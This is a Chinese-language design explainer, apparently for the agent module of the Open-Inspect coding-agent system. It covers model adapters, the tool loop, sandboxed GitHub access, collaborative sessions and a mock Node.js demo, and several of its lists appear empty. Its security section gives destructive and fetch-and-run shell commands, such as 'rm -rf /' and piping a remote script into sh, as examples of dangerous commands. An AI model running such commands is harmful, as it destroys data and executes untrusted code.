这个模块处在控制平面、沙箱环境和模型服务之间,主要负责四件事:
统一模型调用方式
项目支持多种模型/编码引擎:
不同模型的消息格式、工具调用格式、流式输出格式都不一样。模块需要把它们收敛成统一的 Agent 接口。
驱动 Agent 在沙箱里执行任务
Agent 不只是生成文本,而是会在完整开发环境中工作:
把结果提交回 GitHub
Agent 完成任务后,需要:
支持多人实时协作
一个后台任务不是“黑盒运行”。多人可以通过 Web UI、Slack、GitHub PR、Linear issue 或 webhook 进入同一个 session:
runTurn不同模型的原始 API 不应该扩散到 Agent 执行层。执行层只关心:给定当前上下文,模型下一步要说什么、要调用什么工具。
可以把模型适配器抽象成类似下面的接口:
tstype ModelKind = "anthropic" | "openai-codex" | "opencode-zen";
type AgentMessage =
| {
role: "system" | "user" | "assistant";
content: string;
}
| {
role: "tool";
toolCallId: string;
content: string;
};
type ToolCall = {
id: string;
name: string;
input: Record<string, unknown>;
};
type ModelTurnResult = {
content?: string;
toolCalls?: ToolCall[];
stopReason: "tool_use" | "end_turn" | "max_tokens" | "error";
};
interface ModelProvider {
kind: ModelKind;
runTurn(input: {
messages: AgentMessage[];
tools: ToolDefinition[];
maxTokens?: number;
signal?: AbortSignal;
}): Promise<ModelTurnResult>;
}各模型适配器负责处理自己的细节:
Anthropic 的强项是长上下文和工具调用能力。适配器通常要处理:
tool_use / tool_result典型用途:
README 中提到 OpenAI Codex 是通过 ChatGPT subscription 接入。它更偏向“编码 Agent”形态,而不是普通 chat completion。
适配器需要重点处理:
典型用途:
OpenCode Zen 更接近本地/CLI 编码引擎。适配器一般要把它的输出转换成统一事件:
典型用途:
Agent 执行不是一次模型调用,而是一个循环:
伪代码如下:
tsclass AgentRunner {
constructor(
private model: ModelProvider,
private tools: ToolRegistry,
private events: SessionEventBus,
) {}
async run(session: AgentSession) {
while (!session.cancelled) {
const result = await this.model.runTurn({
messages: session.messages,
tools: this.tools.definitions(),
signal: session.abortSignal,
});
if (result.content) {
session.messages.push({
role: "assistant",
content: result.content,
});
this.events.publish(session.id, {
type: "assistant_message",
content: result.content,
});
}
if (!result.toolCalls?.length) {
break;
}
for (const call of result.toolCalls) {
this.events.publish(session.id, {
type: "tool_started",
toolCallId: call.id,
toolName: call.name,
});
const output = await this.tools.execute(call.name, call.input);
session.messages.push({
role: "tool",
toolCallId: call.id,
content: output,
});
this.events.publish(session.id, {
type: "tool_finished",
toolCallId: call.id,
output,
});
}
}
}
}这里的关键点是:模型不能直接操作宿主机,只能通过工具接口间接操作沙箱。
常见工具包括:
tstype ToolName =
| "read_file"
| "write_file"
| "list_files"
| "run_shell"
| "git_status"
| "git_diff"
| "browser_open"
| "browser_click"
| "browser_type";Open-Inspect 的一个核心能力是给 Agent 提供完整环境:
一次任务大致会经历下面的生命周期:
text用户创建任务 ↓ 控制平面创建 session ↓ 为 session 分配 sandbox auth token ↓ 沙箱启动 ↓ 通过 GitHub App token clone 仓库 ↓ 检出工作分支 ↓ Agent 开始循环执行 ↓ 修改代码、运行测试、生成 diff ↓ commit + push ↓ 创建 PR ↓ session 结束或等待用户继续协作
沙箱访问 GitHub 仓库时,主要依赖 GitHub App installation token。README 中明确说明:control plane 会在服务端签发短期 installation token,并通过 git credential helper 按需提供给沙箱。
这意味着沙箱不需要长期保存 GitHub 凭据。
README 里区分了两类 GitHub 身份:
| 操作 | 默认身份 |
|---|---|
| clone / fetch / push | GitHub App installation token |
| 创建 PR | 用户 GitHub OAuth token |
| 无用户 GitHub token 时创建 PR | GitHub App bot |
这对代码归属很重要。
仓库读写由共享 GitHub App installation token 完成:
textsandbox git command ↓ git credential helper ↓ control plane ↓ short-lived GitHub App installation token ↓ GitHub
commit 作者应尽量归属到触发任务的用户,例如:
bashgit config user.name "Alice"
git config user.email "alice@example.com"
git add .
git commit -m "Fix login redirect handling"如果用户通过 GitHub 登录,并且系统持有该用户的 OAuth token,则 PR 用用户身份创建。
如果用户是通过 Google 等其他方式登录,没有 SCM token,则 PR 会退回到 GitHub App bot 身份。
这也是 README 中强调的安全模型:系统是单租户设计,仓库访问依赖共享 GitHub App,而不是每个用户单独校验仓库权限。
多人协作不是多个 Agent 同时写同一个目录,而是多个用户连接到同一个 session。
一个 session 通常包含:
tstype AgentSession = {
id: string;
repo: string;
branch: string;
createdByUserId: string;
model: ModelKind;
messages: AgentMessage[];
sandboxId: string;
status: "queued" | "running" | "waiting" | "completed" | "failed" | "cancelled";
};多人协作的事件流可以抽象为:
tstype SessionEvent =
| {
type: "user_message";
userId: string;
content: string;
}
| {
type: "assistant_message";
content: string;
}
| {
type: "tool_started";
toolCallId: string;
toolName: string;
}
| {
type: "tool_finished";
toolCallId: string;
output: string;
}
| {
type: "git_diff_updated";
diff: string;
}
| {
type: "session_status_changed";
status: AgentSession["status"];
};Web UI、Slack、GitHub、Linear 或 webhook 都可以成为事件来源。控制平面负责把这些消息追加到同一个 session,并通过 WebSocket 广播给在线用户。
典型场景:
textAlice 在 Web UI 创建任务: “帮我修复登录后跳转错误” Agent 修改代码并运行测试。 Bob 从 Slack 进入同一个 session: “注意这个问题只影响 SSO 登录,不要改普通邮箱登录” Agent 收到 Bob 的补充上下文,继续调整实现。 Alice 查看 diff 后说: “加一个回归测试,然后开 PR” Agent 补测试、commit、push、创建 PR。
下面这个示例不依赖真实模型 API,用一个 MockModelProvider 模拟模型决策。它会:
要求本机安装 Node.js 和 git。
新建文件 agent-demo.mjs:
jsimport fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const execFileAsync = promisify(execFile);
class MockModelProvider {
constructor() {
this.step = 0;
this.kind = "mock";
}
async runTurn({ messages }) {
this.step += 1;
if (this.step === 1) {
return {
stopReason: "tool_use",
content: "我会先创建一个说明文件。",
toolCalls: [
{
id: "call_1",
name: "write_file",
input: {
path: "README.md",
content:
"# Demo Repo\n\nThis file was created by a background agent demo.\n",
},
},
],
};
}
if (this.step === 2) {
return {
stopReason: "tool_use",
content: "文件已经创建,现在查看 git 状态。",
toolCalls: [
{
id: "call_2",
name: "run_shell",
input: {
command: "git status --short",
},
},
],
};
}
if (this.step === 3) {
return {
stopReason: "tool_use",
content: "状态确认后,提交代码。",
toolCalls: [
{
id: "call_3",
name: "run_shell",
input: {
command:
'git add README.md && git commit -m "Add demo README"',
},
},
],
};
}
return {
stopReason: "end_turn",
content: "任务完成:README.md 已创建并提交。",
toolCalls: [],
};
}
}
class ToolRegistry {
constructor(workdir) {
this.workdir = workdir;
}
definitions() {
return [
{
name: "write_file",
description: "Write a file in the repository",
},
{
name: "run_shell",
description: "Run a shell command in the repository",
},
];
}
async execute(name, input) {
if (name === "write_file") {
const target = path.join(this.workdir, input.path);
await fs.mkdir(path.dirname(target), { recursive: true });
await fs.writeFile(target, input.content, "utf8");
return `wrote ${input.path}`;
}
if (name === "run_shell") {
const { stdout, stderr } = await execFileAsync(
process.platform === "win32" ? "cmd.exe" : "sh",
process.platform === "win32"
? ["/c", input.command]
: ["-lc", input.command],
{
cwd: this.workdir,
},
);
return [stdout, stderr].filter(Boolean).join("\n").trim();
}
throw new Error(`unknown tool: ${name}`);
}
}
class AgentRunner {
constructor(model, tools) {
this.model = model;
this.tools = tools;
}
async run(session) {
while (true) {
const result = await this.model.runTurn({
messages: session.messages,
tools: this.tools.definitions(),
});
if (result.content) {
session.messages.push({
role: "assistant",
content: result.content,
});
console.log(`\nassistant> ${result.content}`);
}
if (!result.toolCalls || result.toolCalls.length === 0) {
break;
}
for (const call of result.toolCalls) {
console.log(`tool:${call.name}>`, call.input);
const output = await this.tools.execute(call.name, call.input);
session.messages.push({
role: "tool",
toolCallId: call.id,
content: output,
});
console.log(`tool result> ${output || "(no output)"}`);
}
}
}
}
async function prepareRepo() {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "agent-demo-"));
await execFileAsync("git", ["init"], { cwd: dir });
await execFileAsync("git", ["config", "user.name", "Demo Agent"], {
cwd: dir,
});
await execFileAsync("git", ["config", "user.email", "agent@example.com"], {
cwd: dir,
});
return dir;
}
async function main() {
const workdir = await prepareRepo();
console.log("repo:", workdir);
const session = {
id: "demo-session",
repo: workdir,
messages: [
{
role: "user",
content: "创建一个 README.md,并提交代码。",
},
],
};
const model = new MockModelProvider();
const tools = new ToolRegistry(workdir);
const runner = new AgentRunner(model, tools);
await runner.run(session);
const { stdout } = await execFileAsync("git", ["log", "--oneline"], {
cwd: workdir,
});
console.log("\ncommits:");
console.log(stdout);
}
main().catch((error) => {
console.error(error);
process.exit(1);
});运行:
bashnode agent-demo.mjs
输出示例:
textrepo: /tmp/agent-demo-abc123 assistant> 我会先创建一个说明文件。 tool:write_file> { path: 'README.md', content: '# Demo Repo...' } tool result> wrote README.md assistant> 文件已经创建,现在查看 git 状态。 tool:run_shell> { command: 'git status --short' } tool result> ?? README.md assistant> 状态确认后,提交代码。 tool:run_shell> { command: 'git add README.md && git commit -m "Add demo README"' } tool result> [main 1a2b3c4] Add demo README 1 file changed, 3 insertions(+) create mode 100644 README.md assistant> 任务完成:README.md 已创建并提交。 commits: 1a2b3c4 Add demo README
这个例子对应真实系统里的核心流程:
textModelProvider 生成下一步动作 ↓ AgentRunner 调用工具 ↓ ToolRegistry 在工作区执行 ↓ 工具结果回填给模型 ↓ 最终生成 commit / PR
真实系统中,MockModelProvider 会替换成 Anthropic、OpenAI Codex 或 OpenCode Zen 适配器;临时目录会替换成带认证、隔离和事件流的沙箱。
README 明确说明 Open-Inspect 是 single-tenant only 设计。所有用户应当是同一组织内可信成员,并且默认可以访问 GitHub App 安装范围内的仓库。
不能直接用于多租户 SaaS,原因包括:
如果要做多租户,需要重新设计:
Agent 会执行 shell 命令、改文件、运行测试。模型输出不能直接在控制平面执行。
建议遵守:
高风险命令示例:
bashrm -rf /
curl https://unknown.example/script.sh | sh
git push --force
npm publish
pip upload多人同时加入 session 后,Agent 的上下文不再只有一个用户。
需要保留:
尤其是 PR attribution,不能只看最后一条消息。更稳妥的做法是记录 session creator 或明确的 PR requester。
README 提到系统可以 spawn parallel sub-tasks,并在 separate sandboxes 同时工作。
这里的边界很重要:
推荐流程:
text主任务 ↓ 拆成子任务 A / B / C ↓ 每个子任务一个 sandbox ↓ 每个子任务一个 branch 或 patch ↓ 主任务汇总 diff ↓ 解决冲突 ↓ 生成最终 PR
Anthropic、OpenAI Codex、OpenCode Zen 的运行形态不同:
| 能力点 | Anthropic | OpenAI Codex | OpenCode Zen |
|---|---|---|---|
| 对话式推理 | 强 | 取决于接入方式 | 取决于引擎 |
| 工具调用格式 | 原生 tool use | 可能偏 Agent 事件 | 可能偏 CLI 输出 |
| 流式输出 | 支持 | 取决于接入方式 | 通常来自进程输出 |
| 文件修改 | 通过工具完成 | 可能直接产生 patch | 通常由引擎执行 |
| 错误恢复 | 适合做多轮修正 | 适合编码任务 | 依赖引擎实现 |
因此执行层不要依赖某个模型的私有格式。正确做法是:
text模型私有协议 ↓ ModelProvider adapter ↓ 统一 ToolCall / Message / Event ↓ AgentRunner
这样换模型时,session、工具、协作、提交 PR 的逻辑都不需要重写。